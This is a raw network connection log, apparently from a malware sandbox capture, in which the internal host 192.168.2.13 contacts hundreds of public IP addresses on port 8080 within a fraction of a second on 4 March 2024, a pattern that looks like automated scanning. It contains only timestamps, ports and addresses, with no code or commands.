Mar 4, 2024 15:05:35.367458105 CET	47577	8080	192.168.2.13	95.207.141.206
Mar 4, 2024 15:05:35.367458105 CET	47577	8080	192.168.2.13	62.12.120.192
Mar 4, 2024 15:05:35.367460966 CET	47577	8080	192.168.2.13	95.172.98.180
Mar 4, 2024 15:05:35.367469072 CET	8080	54732	31.172.75.160	192.168.2.13
Mar 4, 2024 15:05:35.367472887 CET	47577	8080	192.168.2.13	85.90.104.243
Mar 4, 2024 15:05:35.367474079 CET	47577	8080	192.168.2.13	94.8.49.111
Mar 4, 2024 15:05:35.367475986 CET	47577	8080	192.168.2.13	31.184.93.76
Mar 4, 2024 15:05:35.367475986 CET	47577	8080	192.168.2.13	62.249.214.146
Mar 4, 2024 15:05:35.367494106 CET	47577	8080	192.168.2.13	85.213.55.229
Mar 4, 2024 15:05:35.367501020 CET	47577	8080	192.168.2.13	62.19.49.16
Mar 4, 2024 15:05:35.367501020 CET	47577	8080	192.168.2.13	95.179.164.67
Mar 4, 2024 15:05:35.367510080 CET	47577	8080	192.168.2.13	85.176.47.166
Mar 4, 2024 15:05:35.367517948 CET	54732	8080	192.168.2.13	31.172.75.160
Mar 4, 2024 15:05:35.367532015 CET	47577	8080	192.168.2.13	94.156.92.251
Mar 4, 2024 15:05:35.367533922 CET	47577	8080	192.168.2.13	95.214.30.70
Mar 4, 2024 15:05:35.367536068 CET	47577	8080	192.168.2.13	94.146.225.83
Mar 4, 2024 15:05:35.367537022 CET	47577	8080	192.168.2.13	31.11.106.18
Mar 4, 2024 15:05:35.367542028 CET	47577	8080	192.168.2.13	94.145.210.21
Mar 4, 2024 15:05:35.367542028 CET	47577	8080	192.168.2.13	94.39.210.86
Mar 4, 2024 15:05:35.367552042 CET	47577	8080	192.168.2.13	94.171.155.172
Mar 4, 2024 15:05:35.367558002 CET	47577	8080	192.168.2.13	62.148.196.126
Mar 4, 2024 15:05:35.367558956 CET	47577	8080	192.168.2.13	95.10.243.227
Mar 4, 2024 15:05:35.367558956 CET	47577	8080	192.168.2.13	85.179.42.14
Mar 4, 2024 15:05:35.367580891 CET	47577	8080	192.168.2.13	85.5.101.47
Mar 4, 2024 15:05:35.367582083 CET	47577	8080	192.168.2.13	94.72.241.10
Mar 4, 2024 15:05:35.367584944 CET	47577	8080	192.168.2.13	31.197.145.233
Mar 4, 2024 15:05:35.367595911 CET	47577	8080	192.168.2.13	94.178.12.249
Mar 4, 2024 15:05:35.367608070 CET	47577	8080	192.168.2.13	31.50.81.253
Mar 4, 2024 15:05:35.367611885 CET	47577	8080	192.168.2.13	94.248.240.176
Mar 4, 2024 15:05:35.367621899 CET	47577	8080	192.168.2.13	62.172.6.1
Mar 4, 2024 15:05:35.367631912 CET	47577	8080	192.168.2.13	31.175.130.152
Mar 4, 2024 15:05:35.367633104 CET	47577	8080	192.168.2.13	95.17.192.100
Mar 4, 2024 15:05:35.367646933 CET	47577	8080	192.168.2.13	94.165.206.189
Mar 4, 2024 15:05:35.367655039 CET	47577	8080	192.168.2.13	95.154.179.14
Mar 4, 2024 15:05:35.367656946 CET	47577	8080	192.168.2.13	95.26.78.159
Mar 4, 2024 15:05:35.367656946 CET	47577	8080	192.168.2.13	95.224.106.72
Mar 4, 2024 15:05:35.367659092 CET	47577	8080	192.168.2.13	94.222.57.52
Mar 4, 2024 15:05:35.367660046 CET	47577	8080	192.168.2.13	95.209.86.97
Mar 4, 2024 15:05:35.367660999 CET	47577	8080	192.168.2.13	31.125.166.99
Mar 4, 2024 15:05:35.367664099 CET	47577	8080	192.168.2.13	62.178.145.175
Mar 4, 2024 15:05:35.367672920 CET	47577	8080	192.168.2.13	85.152.95.193
Mar 4, 2024 15:05:35.367675066 CET	47577	8080	192.168.2.13	85.195.201.192
Mar 4, 2024 15:05:35.367675066 CET	47577	8080	192.168.2.13	85.188.78.168
Mar 4, 2024 15:05:35.367688894 CET	47577	8080	192.168.2.13	85.191.223.13
Mar 4, 2024 15:05:35.367691040 CET	47577	8080	192.168.2.13	31.157.3.101
Mar 4, 2024 15:05:35.367691040 CET	47577	8080	192.168.2.13	95.12.45.186
Mar 4, 2024 15:05:35.367702007 CET	47577	8080	192.168.2.13	95.92.101.66
Mar 4, 2024 15:05:35.367705107 CET	47577	8080	192.168.2.13	85.230.124.186
Mar 4, 2024 15:05:35.367707014 CET	47577	8080	192.168.2.13	62.146.16.224
Mar 4, 2024 15:05:35.367707014 CET	47577	8080	192.168.2.13	62.116.158.41
Mar 4, 2024 15:05:35.367707968 CET	47577	8080	192.168.2.13	95.65.105.84
Mar 4, 2024 15:05:35.367724895 CET	47577	8080	192.168.2.13	95.134.112.236
Mar 4, 2024 15:05:35.367724895 CET	47577	8080	192.168.2.13	85.25.93.23
Mar 4, 2024 15:05:35.367726088 CET	47577	8080	192.168.2.13	95.0.15.199
Mar 4, 2024 15:05:35.367731094 CET	47577	8080	192.168.2.13	95.211.229.123
Mar 4, 2024 15:05:35.367734909 CET	47577	8080	192.168.2.13	85.121.241.152
Mar 4, 2024 15:05:35.367738008 CET	47577	8080	192.168.2.13	31.45.69.15
Mar 4, 2024 15:05:35.367738008 CET	47577	8080	192.168.2.13	31.227.121.46
Mar 4, 2024 15:05:35.367738008 CET	47577	8080	192.168.2.13	62.176.1.15
Mar 4, 2024 15:05:35.367743969 CET	47577	8080	192.168.2.13	85.43.140.107
Mar 4, 2024 15:05:35.367744923 CET	47577	8080	192.168.2.13	31.19.145.50
Mar 4, 2024 15:05:35.367762089 CET	47577	8080	192.168.2.13	85.251.38.201
Mar 4, 2024 15:05:35.367763996 CET	47577	8080	192.168.2.13	94.85.68.79
Mar 4, 2024 15:05:35.367763996 CET	47577	8080	192.168.2.13	62.147.185.27
Mar 4, 2024 15:05:35.367764950 CET	47577	8080	192.168.2.13	85.180.74.222
Mar 4, 2024 15:05:35.367775917 CET	47577	8080	192.168.2.13	31.64.212.111
Mar 4, 2024 15:05:35.367775917 CET	47577	8080	192.168.2.13	85.222.133.141
Mar 4, 2024 15:05:35.367779970 CET	47577	8080	192.168.2.13	31.33.140.245
Mar 4, 2024 15:05:35.367782116 CET	47577	8080	192.168.2.13	85.58.110.20
Mar 4, 2024 15:05:35.367789984 CET	47577	8080	192.168.2.13	31.216.133.134
Mar 4, 2024 15:05:35.367794037 CET	47577	8080	192.168.2.13	95.3.214.157
Mar 4, 2024 15:05:35.367808104 CET	47577	8080	192.168.2.13	94.111.78.228
Mar 4, 2024 15:05:35.367810011 CET	47577	8080	192.168.2.13	95.49.60.54
Mar 4, 2024 15:05:35.367814064 CET	47577	8080	192.168.2.13	95.0.172.140
Mar 4, 2024 15:05:35.367814064 CET	47577	8080	192.168.2.13	85.127.157.47
Mar 4, 2024 15:05:35.367825031 CET	47577	8080	192.168.2.13	85.50.85.241
Mar 4, 2024 15:05:35.367835045 CET	47577	8080	192.168.2.13	31.168.70.92
Mar 4, 2024 15:05:35.367836952 CET	47577	8080	192.168.2.13	62.217.205.160
Mar 4, 2024 15:05:35.367846966 CET	47577	8080	192.168.2.13	31.43.129.21
Mar 4, 2024 15:05:35.367851019 CET	47577	8080	192.168.2.13	85.98.236.51
Mar 4, 2024 15:05:35.367851019 CET	47577	8080	192.168.2.13	85.202.234.184
Mar 4, 2024 15:05:35.367856979 CET	47577	8080	192.168.2.13	85.185.158.51
Mar 4, 2024 15:05:35.367861032 CET	47577	8080	192.168.2.13	31.15.120.181
Mar 4, 2024 15:05:35.367862940 CET	47577	8080	192.168.2.13	62.3.52.216
Mar 4, 2024 15:05:35.367863894 CET	47577	8080	192.168.2.13	31.199.250.221
Mar 4, 2024 15:05:35.367865086 CET	47577	8080	192.168.2.13	31.170.131.131
Mar 4, 2024 15:05:35.367871046 CET	47577	8080	192.168.2.13	95.195.172.147
Mar 4, 2024 15:05:35.367871046 CET	47577	8080	192.168.2.13	31.3.150.110
Mar 4, 2024 15:05:35.367880106 CET	47577	8080	192.168.2.13	94.94.62.23
Mar 4, 2024 15:05:35.367883921 CET	47577	8080	192.168.2.13	94.3.74.240
Mar 4, 2024 15:05:35.367883921 CET	47577	8080	192.168.2.13	94.106.40.64
Mar 4, 2024 15:05:35.367892981 CET	47577	8080	192.168.2.13	94.75.180.152
Mar 4, 2024 15:05:35.367892981 CET	47577	8080	192.168.2.13	31.4.244.116
Mar 4, 2024 15:05:35.367901087 CET	47577	8080	192.168.2.13	62.39.146.89
Mar 4, 2024 15:05:35.367909908 CET	47577	8080	192.168.2.13	62.50.229.100
Mar 4, 2024 15:05:35.367914915 CET	47577	8080	192.168.2.13	62.29.187.101
Mar 4, 2024 15:05:35.367917061 CET	47577	8080	192.168.2.13	95.14.47.178
Mar 4, 2024 15:05:35.367919922 CET	47577	8080	192.168.2.13	94.241.132.51
Mar 4, 2024 15:05:35.367921114 CET	47577	8080	192.168.2.13	62.242.241.11
Mar 4, 2024 15:05:35.367927074 CET	47577	8080	192.168.2.13	94.76.21.248
Mar 4, 2024 15:05:35.367933989 CET	47577	8080	192.168.2.13	94.246.121.104
Mar 4, 2024 15:05:35.367944956 CET	47577	8080	192.168.2.13	95.130.13.173
Mar 4, 2024 15:05:35.367959976 CET	47577	8080	192.168.2.13	85.23.151.7
Mar 4, 2024 15:05:35.367960930 CET	47577	8080	192.168.2.13	31.248.120.114
Mar 4, 2024 15:05:35.367963076 CET	47577	8080	192.168.2.13	95.245.177.196
Mar 4, 2024 15:05:35.367961884 CET	47577	8080	192.168.2.13	62.143.222.64
Mar 4, 2024 15:05:35.367961884 CET	47577	8080	192.168.2.13	62.192.80.20
Mar 4, 2024 15:05:35.367964983 CET	47577	8080	192.168.2.13	95.94.91.175
Mar 4, 2024 15:05:35.367961884 CET	47577	8080	192.168.2.13	94.63.170.133
Mar 4, 2024 15:05:35.367969036 CET	47577	8080	192.168.2.13	85.77.144.44
Mar 4, 2024 15:05:35.367969036 CET	47577	8080	192.168.2.13	31.220.197.9
Mar 4, 2024 15:05:35.367969036 CET	47577	8080	192.168.2.13	85.243.68.191
Mar 4, 2024 15:05:35.367981911 CET	47577	8080	192.168.2.13	94.127.35.66
Mar 4, 2024 15:05:35.367985010 CET	47577	8080	192.168.2.13	31.245.159.62
Mar 4, 2024 15:05:35.367985010 CET	47577	8080	192.168.2.13	95.189.71.208
Mar 4, 2024 15:05:35.367994070 CET	47577	8080	192.168.2.13	31.194.37.146
Mar 4, 2024 15:05:35.367997885 CET	47577	8080	192.168.2.13	94.236.69.68
Mar 4, 2024 15:05:35.368004084 CET	47577	8080	192.168.2.13	95.126.99.11
Mar 4, 2024 15:05:35.368020058 CET	47577	8080	192.168.2.13	94.26.99.103
Mar 4, 2024 15:05:35.368021965 CET	47577	8080	192.168.2.13	95.127.251.72
Mar 4, 2024 15:05:35.368022919 CET	47577	8080	192.168.2.13	31.229.220.90
Mar 4, 2024 15:05:35.368024111 CET	47577	8080	192.168.2.13	95.187.205.84
Mar 4, 2024 15:05:35.368024111 CET	47577	8080	192.168.2.13	85.11.29.248
Mar 4, 2024 15:05:35.368033886 CET	47577	8080	192.168.2.13	94.13.112.231
Mar 4, 2024 15:05:35.368033886 CET	47577	8080	192.168.2.13	95.81.67.190
Mar 4, 2024 15:05:35.368036032 CET	47577	8080	192.168.2.13	62.180.7.200
Mar 4, 2024 15:05:35.368042946 CET	47577	8080	192.168.2.13	31.217.73.73
Mar 4, 2024 15:05:35.368047953 CET	47577	8080	192.168.2.13	85.110.142.237
Mar 4, 2024 15:05:35.368048906 CET	47577	8080	192.168.2.13	85.39.6.24
Mar 4, 2024 15:05:35.368052006 CET	47577	8080	192.168.2.13	94.181.52.79
Mar 4, 2024 15:05:35.368067980 CET	47577	8080	192.168.2.13	94.219.158.91
Mar 4, 2024 15:05:35.368068933 CET	47577	8080	192.168.2.13	62.125.54.241
Mar 4, 2024 15:05:35.368074894 CET	47577	8080	192.168.2.13	85.172.48.7
Mar 4, 2024 15:05:35.368074894 CET	47577	8080	192.168.2.13	62.64.91.229
Mar 4, 2024 15:05:35.368076086 CET	47577	8080	192.168.2.13	95.114.190.93
Mar 4, 2024 15:05:35.368081093 CET	47577	8080	192.168.2.13	31.177.245.156
Mar 4, 2024 15:05:35.368081093 CET	47577	8080	192.168.2.13	95.137.8.161
Mar 4, 2024 15:05:35.368103027 CET	47577	8080	192.168.2.13	31.70.217.141
Mar 4, 2024 15:05:35.368103981 CET	47577	8080	192.168.2.13	31.148.86.118
Mar 4, 2024 15:05:35.368112087 CET	47577	8080	192.168.2.13	62.137.234.67
Mar 4, 2024 15:05:35.368112087 CET	47577	8080	192.168.2.13	94.52.202.8
Mar 4, 2024 15:05:35.368112087 CET	47577	8080	192.168.2.13	94.2.162.1
Mar 4, 2024 15:05:35.368112087 CET	47577	8080	192.168.2.13	85.161.74.80
Mar 4, 2024 15:05:35.368113041 CET	47577	8080	192.168.2.13	95.35.10.147
Mar 4, 2024 15:05:35.368113041 CET	47577	8080	192.168.2.13	62.1.119.203
Mar 4, 2024 15:05:35.368115902 CET	47577	8080	192.168.2.13	95.214.86.107
Mar 4, 2024 15:05:35.368127108 CET	47577	8080	192.168.2.13	31.223.211.230
Mar 4, 2024 15:05:35.368133068 CET	47577	8080	192.168.2.13	94.106.57.245
Mar 4, 2024 15:05:35.368140936 CET	47577	8080	192.168.2.13	31.10.36.177
Mar 4, 2024 15:05:35.368143082 CET	47577	8080	192.168.2.13	94.139.193.101
Mar 4, 2024 15:05:35.368148088 CET	47577	8080	192.168.2.13	31.221.56.79
Mar 4, 2024 15:05:35.368151903 CET	47577	8080	192.168.2.13	31.16.186.240
Mar 4, 2024 15:05:35.368161917 CET	47577	8080	192.168.2.13	95.42.80.184
Mar 4, 2024 15:05:35.368161917 CET	47577	8080	192.168.2.13	94.244.157.234
Mar 4, 2024 15:05:35.368165016 CET	47577	8080	192.168.2.13	94.147.188.7
Mar 4, 2024 15:05:35.368161917 CET	47577	8080	192.168.2.13	95.190.170.242
Mar 4, 2024 15:05:35.368172884 CET	47577	8080	192.168.2.13	62.2.73.101
Mar 4, 2024 15:05:35.368172884 CET	47577	8080	192.168.2.13	95.117.72.2
Mar 4, 2024 15:05:35.368172884 CET	47577	8080	192.168.2.13	95.177.74.237
Mar 4, 2024 15:05:35.368175030 CET	47577	8080	192.168.2.13	85.107.56.15
Mar 4, 2024 15:05:35.368175983 CET	47577	8080	192.168.2.13	31.186.190.66
Mar 4, 2024 15:05:35.368182898 CET	47577	8080	192.168.2.13	31.135.115.110
Mar 4, 2024 15:05:35.368189096 CET	47577	8080	192.168.2.13	62.175.15.185
Mar 4, 2024 15:05:35.368189096 CET	47577	8080	192.168.2.13	31.177.106.39
Mar 4, 2024 15:05:35.368199110 CET	47577	8080	192.168.2.13	31.37.182.117
Mar 4, 2024 15:05:35.368201017 CET	47577	8080	192.168.2.13	94.165.134.208
Mar 4, 2024 15:05:35.368210077 CET	47577	8080	192.168.2.13	62.204.219.129
Mar 4, 2024 15:05:35.368223906 CET	47577	8080	192.168.2.13	94.119.147.125
Mar 4, 2024 15:05:35.368226051 CET	47577	8080	192.168.2.13	31.208.110.38
Mar 4, 2024 15:05:35.368227959 CET	47577	8080	192.168.2.13	94.147.132.92
Mar 4, 2024 15:05:35.368228912 CET	47577	8080	192.168.2.13	85.50.97.234
Mar 4, 2024 15:05:35.368249893 CET	47577	8080	192.168.2.13	94.33.29.23
Mar 4, 2024 15:05:35.368252993 CET	47577	8080	192.168.2.13	31.109.88.125
Mar 4, 2024 15:05:35.368254900 CET	47577	8080	192.168.2.13	31.87.30.115
Mar 4, 2024 15:05:35.368257046 CET	47577	8080	192.168.2.13	85.72.199.2
Mar 4, 2024 15:05:35.368273973 CET	47577	8080	192.168.2.13	94.97.158.30
Mar 4, 2024 15:05:35.368278980 CET	47577	8080	192.168.2.13	31.5.92.104
Mar 4, 2024 15:05:35.368287086 CET	47577	8080	192.168.2.13	31.106.157.223
Mar 4, 2024 15:05:35.368289948 CET	47577	8080	192.168.2.13	31.169.149.153
Mar 4, 2024 15:05:35.368294954 CET	47577	8080	192.168.2.13	95.195.106.217
Mar 4, 2024 15:05:35.368302107 CET	47577	8080	192.168.2.13	31.67.101.231
Mar 4, 2024 15:05:35.368304968 CET	47577	8080	192.168.2.13	85.18.162.29
Mar 4, 2024 15:05:35.368325949 CET	47577	8080	192.168.2.13	62.241.246.113
Mar 4, 2024 15:05:35.368325949 CET	47577	8080	192.168.2.13	31.5.167.115
Mar 4, 2024 15:05:35.368336916 CET	47577	8080	192.168.2.13	62.7.243.243
Mar 4, 2024 15:05:35.368336916 CET	47577	8080	192.168.2.13	85.124.134.13
Mar 4, 2024 15:05:35.368351936 CET	47577	8080	192.168.2.13	94.195.118.6
Mar 4, 2024 15:05:35.368351936 CET	47577	8080	192.168.2.13	31.221.139.69
Mar 4, 2024 15:05:35.368357897 CET	47577	8080	192.168.2.13	95.105.11.3
Mar 4, 2024 15:05:35.368357897 CET	47577	8080	192.168.2.13	94.179.197.238
Mar 4, 2024 15:05:35.368372917 CET	47577	8080	192.168.2.13	62.71.74.118
Mar 4, 2024 15:05:35.368372917 CET	47577	8080	192.168.2.13	85.187.153.134
Mar 4, 2024 15:05:35.368386030 CET	47577	8080	192.168.2.13	85.85.228.75
Mar 4, 2024 15:05:35.368386984 CET	47577	8080	192.168.2.13	31.212.195.191
Mar 4, 2024 15:05:35.368387938 CET	47577	8080	192.168.2.13	94.170.47.43
Mar 4, 2024 15:05:35.368400097 CET	47577	8080	192.168.2.13	85.24.244.169
Mar 4, 2024 15:05:35.368401051 CET	47577	8080	192.168.2.13	85.150.177.170
Mar 4, 2024 15:05:35.368402004 CET	47577	8080	192.168.2.13	31.110.255.145
Mar 4, 2024 15:05:35.368419886 CET	47577	8080	192.168.2.13	85.169.149.136
Mar 4, 2024 15:05:35.368422031 CET	47577	8080	192.168.2.13	85.93.240.119
Mar 4, 2024 15:05:35.368422031 CET	47577	8080	192.168.2.13	62.218.95.90
Mar 4, 2024 15:05:35.368432045 CET	47577	8080	192.168.2.13	62.155.169.57
Mar 4, 2024 15:05:35.368439913 CET	47577	8080	192.168.2.13	95.3.45.254
Mar 4, 2024 15:05:35.368439913 CET	47577	8080	192.168.2.13	62.214.185.86
Mar 4, 2024 15:05:35.368454933 CET	47577	8080	192.168.2.13	31.72.185.220
Mar 4, 2024 15:05:35.368463039 CET	47577	8080	192.168.2.13	95.90.180.78
Mar 4, 2024 15:05:35.368467093 CET	47577	8080	192.168.2.13	31.198.192.73
Mar 4, 2024 15:05:35.368473053 CET	47577	8080	192.168.2.13	94.165.152.135
Mar 4, 2024 15:05:35.368473053 CET	47577	8080	192.168.2.13	31.110.255.210
Mar 4, 2024 15:05:35.368486881 CET	47577	8080	192.168.2.13	62.102.37.111
Mar 4, 2024 15:05:35.368488073 CET	47577	8080	192.168.2.13	31.117.33.121
Mar 4, 2024 15:05:35.368488073 CET	47577	8080	192.168.2.13	94.127.20.179
Mar 4, 2024 15:05:35.368511915 CET	47577	8080	192.168.2.13	95.150.171.24
Mar 4, 2024 15:05:35.368511915 CET	47577	8080	192.168.2.13	85.83.123.141
Mar 4, 2024 15:05:35.368513107 CET	47577	8080	192.168.2.13	31.187.153.212
Mar 4, 2024 15:05:35.368539095 CET	47577	8080	192.168.2.13	85.105.91.93
Mar 4, 2024 15:05:35.368539095 CET	47577	8080	192.168.2.13	95.217.86.36
Mar 4, 2024 15:05:35.368544102 CET	47577	8080	192.168.2.13	85.97.164.48
Mar 4, 2024 15:05:35.368545055 CET	47577	8080	192.168.2.13	94.165.56.141
Mar 4, 2024 15:05:35.368545055 CET	47577	8080	192.168.2.13	62.87.110.192
Mar 4, 2024 15:05:35.368555069 CET	47577	8080	192.168.2.13	94.94.39.92
Mar 4, 2024 15:05:35.368566036 CET	47577	8080	192.168.2.13	62.113.13.157
Mar 4, 2024 15:05:35.368581057 CET	47577	8080	192.168.2.13	62.155.230.52
Mar 4, 2024 15:05:35.368587971 CET	47577	8080	192.168.2.13	31.25.6.72
Mar 4, 2024 15:05:35.368591070 CET	47577	8080	192.168.2.13	31.3.34.181
Mar 4, 2024 15:05:35.368593931 CET	47577	8080	192.168.2.13	94.137.14.72
Mar 4, 2024 15:05:35.368607998 CET	47577	8080	192.168.2.13	94.59.67.49
Mar 4, 2024 15:05:35.368608952 CET	47577	8080	192.168.2.13	31.217.122.78
Mar 4, 2024 15:05:35.368607998 CET	47577	8080	192.168.2.13	62.237.17.204
Mar 4, 2024 15:05:35.368607998 CET	47577	8080	192.168.2.13	62.67.24.17
Mar 4, 2024 15:05:35.368626118 CET	47577	8080	192.168.2.13	85.185.131.112
Mar 4, 2024 15:05:35.368627071 CET	47577	8080	192.168.2.13	31.148.196.230
Mar 4, 2024 15:05:35.368633986 CET	47577	8080	192.168.2.13	95.42.246.10
Mar 4, 2024 15:05:35.368640900 CET	47577	8080	192.168.2.13	62.110.229.179
Mar 4, 2024 15:05:35.368644953 CET	47577	8080	192.168.2.13	95.241.72.181
Mar 4, 2024 15:05:35.368659973 CET	47577	8080	192.168.2.13	94.18.88.207
Mar 4, 2024 15:05:35.368663073 CET	47577	8080	192.168.2.13	94.216.255.198
Mar 4, 2024 15:05:35.368663073 CET	47577	8080	192.168.2.13	62.155.73.61
Mar 4, 2024 15:05:35.368673086 CET	47577	8080	192.168.2.13	85.100.35.84
Mar 4, 2024 15:05:35.368680000 CET	47577	8080	192.168.2.13	62.87.21.230
Mar 4, 2024 15:05:35.368680954 CET	47577	8080	192.168.2.13	95.78.171.40
Mar 4, 2024 15:05:35.368696928 CET	47577	8080	192.168.2.13	94.181.232.68
Mar 4, 2024 15:05:35.368700981 CET	47577	8080	192.168.2.13	94.15.87.65
Mar 4, 2024 15:05:35.368704081 CET	47577	8080	192.168.2.13	31.30.181.74
Mar 4, 2024 15:05:35.368706942 CET	47577	8080	192.168.2.13	62.221.94.26
Mar 4, 2024 15:05:35.368706942 CET	47577	8080	192.168.2.13	85.183.12.64
Mar 4, 2024 15:05:35.368710041 CET	47577	8080	192.168.2.13	85.176.38.76
Mar 4, 2024 15:05:35.368716002 CET	47577	8080	192.168.2.13	85.45.148.246
Mar 4, 2024 15:05:35.368726015 CET	47577	8080	192.168.2.13	85.116.67.253
Mar 4, 2024 15:05:35.368731976 CET	47577	8080	192.168.2.13	95.19.78.75
Mar 4, 2024 15:05:35.368740082 CET	47577	8080	192.168.2.13	31.126.126.20
Mar 4, 2024 15:05:35.368752003 CET	47577	8080	192.168.2.13	62.72.211.152
Mar 4, 2024 15:05:35.368753910 CET	47577	8080	192.168.2.13	62.17.233.158
Mar 4, 2024 15:05:35.368753910 CET	47577	8080	192.168.2.13	85.86.230.234
Mar 4, 2024 15:05:35.368766069 CET	47577	8080	192.168.2.13	95.73.219.106
Mar 4, 2024 15:05:35.368768930 CET	47577	8080	192.168.2.13	31.9.18.131
Mar 4, 2024 15:05:35.368772030 CET	47577	8080	192.168.2.13	85.222.253.34
Mar 4, 2024 15:05:35.368782997 CET	47577	8080	192.168.2.13	95.120.118.30
Mar 4, 2024 15:05:35.368784904 CET	47577	8080	192.168.2.13	31.101.56.163
Mar 4, 2024 15:05:35.368799925 CET	47577	8080	192.168.2.13	94.108.197.191
Mar 4, 2024 15:05:35.368799925 CET	47577	8080	192.168.2.13	31.77.180.220
Mar 4, 2024 15:05:35.368814945 CET	47577	8080	192.168.2.13	94.167.220.250
Mar 4, 2024 15:05:35.368819952 CET	47577	8080	192.168.2.13	94.237.5.218
Mar 4, 2024 15:05:35.368822098 CET	47577	8080	192.168.2.13	31.44.157.50
Mar 4, 2024 15:05:35.368833065 CET	47577	8080	192.168.2.13	95.96.69.171
Mar 4, 2024 15:05:35.368838072 CET	47577	8080	192.168.2.13	95.34.189.234
Mar 4, 2024 15:05:35.368850946 CET	47577	8080	192.168.2.13	31.31.65.164
Mar 4, 2024 15:05:35.368850946 CET	47577	8080	192.168.2.13	94.169.242.83
Mar 4, 2024 15:05:35.368866920 CET	47577	8080	192.168.2.13	62.171.161.184
Mar 4, 2024 15:05:35.368866920 CET	47577	8080	192.168.2.13	94.149.144.173
Mar 4, 2024 15:05:35.368874073 CET	47577	8080	192.168.2.13	62.193.17.249
Mar 4, 2024 15:05:35.368882895 CET	47577	8080	192.168.2.13	31.204.26.150
Mar 4, 2024 15:05:35.368884087 CET	47577	8080	192.168.2.13	95.161.178.171
Mar 4, 2024 15:05:35.368885040 CET	47577	8080	192.168.2.13	94.162.180.64
Mar 4, 2024 15:05:35.368887901 CET	47577	8080	192.168.2.13	31.108.53.67
Mar 4, 2024 15:05:35.368901968 CET	47577	8080	192.168.2.13	85.116.6.13
Mar 4, 2024 15:05:35.368905067 CET	47577	8080	192.168.2.13	94.182.208.226
Mar 4, 2024 15:05:35.368918896 CET	47577	8080	192.168.2.13	94.145.12.152
Mar 4, 2024 15:05:35.368926048 CET	47577	8080	192.168.2.13	62.171.134.0
Mar 4, 2024 15:05:35.368930101 CET	47577	8080	192.168.2.13	85.249.117.25
Mar 4, 2024 15:05:35.368932009 CET	47577	8080	192.168.2.13	62.216.33.73
Mar 4, 2024 15:05:35.368947983 CET	47577	8080	192.168.2.13	85.130.22.100
Mar 4, 2024 15:05:35.368947983 CET	47577	8080	192.168.2.13	62.201.168.229
Mar 4, 2024 15:05:35.368948936 CET	47577	8080	192.168.2.13	94.53.101.11
Mar 4, 2024 15:05:35.368963003 CET	47577	8080	192.168.2.13	85.151.0.27
Mar 4, 2024 15:05:35.368964911 CET	47577	8080	192.168.2.13	62.136.7.35
Mar 4, 2024 15:05:35.368978024 CET	47577	8080	192.168.2.13	95.111.237.217
Mar 4, 2024 15:05:35.368979931 CET	47577	8080	192.168.2.13	95.43.8.173
Mar 4, 2024 15:05:35.369002104 CET	47577	8080	192.168.2.13	95.227.5.227
Mar 4, 2024 15:05:35.369002104 CET	47577	8080	192.168.2.13	62.21.34.220
Mar 4, 2024 15:05:35.369004011 CET	47577	8080	192.168.2.13	85.9.176.77
Mar 4, 2024 15:05:35.369004965 CET	47577	8080	192.168.2.13	85.111.215.66
Mar 4, 2024 15:05:35.369018078 CET	47577	8080	192.168.2.13	95.66.215.184
Mar 4, 2024 15:05:35.369018078 CET	47577	8080	192.168.2.13	62.145.214.145
Mar 4, 2024 15:05:35.369033098 CET	47577	8080	192.168.2.13	95.197.168.214
Mar 4, 2024 15:05:35.369039059 CET	47577	8080	192.168.2.13	85.90.175.200
Mar 4, 2024 15:05:35.369040966 CET	47577	8080	192.168.2.13	62.177.25.244
Mar 4, 2024 15:05:35.369049072 CET	47577	8080	192.168.2.13	62.33.96.56
Mar 4, 2024 15:05:35.369051933 CET	47577	8080	192.168.2.13	95.250.4.104
Mar 4, 2024 15:05:35.369067907 CET	47577	8080	192.168.2.13	94.69.64.94
Mar 4, 2024 15:05:35.369069099 CET	47577	8080	192.168.2.13	31.64.166.137
Mar 4, 2024 15:05:35.369079113 CET	47577	8080	192.168.2.13	85.72.170.13
Mar 4, 2024 15:05:35.369082928 CET	47577	8080	192.168.2.13	94.169.86.139
Mar 4, 2024 15:05:35.369095087 CET	47577	8080	192.168.2.13	95.14.100.93
Mar 4, 2024 15:05:35.369101048 CET	47577	8080	192.168.2.13	85.185.47.4
Mar 4, 2024 15:05:35.369112968 CET	47577	8080	192.168.2.13	31.44.120.229
Mar 4, 2024 15:05:35.369116068 CET	47577	8080	192.168.2.13	31.117.228.216
Mar 4, 2024 15:05:35.369131088 CET	47577	8080	192.168.2.13	94.253.179.236
Mar 4, 2024 15:05:35.369132996 CET	47577	8080	192.168.2.13	62.85.66.187
Mar 4, 2024 15:05:35.369146109 CET	47577	8080	192.168.2.13	62.223.253.164
Mar 4, 2024 15:05:35.369148970 CET	47577	8080	192.168.2.13	94.219.208.30
Mar 4, 2024 15:05:35.369159937 CET	47577	8080	192.168.2.13	95.31.185.63
Mar 4, 2024 15:05:35.369159937 CET	47577	8080	192.168.2.13	94.229.139.59
Mar 4, 2024 15:05:35.369168043 CET	47577	8080	192.168.2.13	85.215.211.21
Mar 4, 2024 15:05:35.369168043 CET	47577	8080	192.168.2.13	31.45.130.176
Mar 4, 2024 15:05:35.369170904 CET	47577	8080	192.168.2.13	94.57.100.110
Mar 4, 2024 15:05:35.369179010 CET	47577	8080	192.168.2.13	62.115.215.241
Mar 4, 2024 15:05:35.369179010 CET	47577	8080	192.168.2.13	95.42.151.173
Mar 4, 2024 15:05:35.369188070 CET	47577	8080	192.168.2.13	62.0.183.9
Mar 4, 2024 15:05:35.369189024 CET	47577	8080	192.168.2.13	94.47.85.98
Mar 4, 2024 15:05:35.369189024 CET	47577	8080	192.168.2.13	95.140.67.74
Mar 4, 2024 15:05:35.369201899 CET	47577	8080	192.168.2.13	94.90.98.59
Mar 4, 2024 15:05:35.369206905 CET	47577	8080	192.168.2.13	62.231.111.212
Mar 4, 2024 15:05:35.369209051 CET	47577	8080	192.168.2.13	62.196.162.123
Mar 4, 2024 15:05:35.369210958 CET	47577	8080	192.168.2.13	31.241.185.129
Mar 4, 2024 15:05:35.369225979 CET	47577	8080	192.168.2.13	85.147.222.131
Mar 4, 2024 15:05:35.369225979 CET	47577	8080	192.168.2.13	95.73.7.196
Mar 4, 2024 15:05:35.369229078 CET	47577	8080	192.168.2.13	62.21.17.142
Mar 4, 2024 15:05:35.369254112 CET	47577	8080	192.168.2.13	94.15.192.3
Mar 4, 2024 15:05:35.369254112 CET	47577	8080	192.168.2.13	62.89.215.233
Mar 4, 2024 15:05:35.369261980 CET	47577	8080	192.168.2.13	94.225.246.19
Mar 4, 2024 15:05:35.369261980 CET	47577	8080	192.168.2.13	85.111.84.87
Mar 4, 2024 15:05:35.369275093 CET	47577	8080	192.168.2.13	31.42.6.208
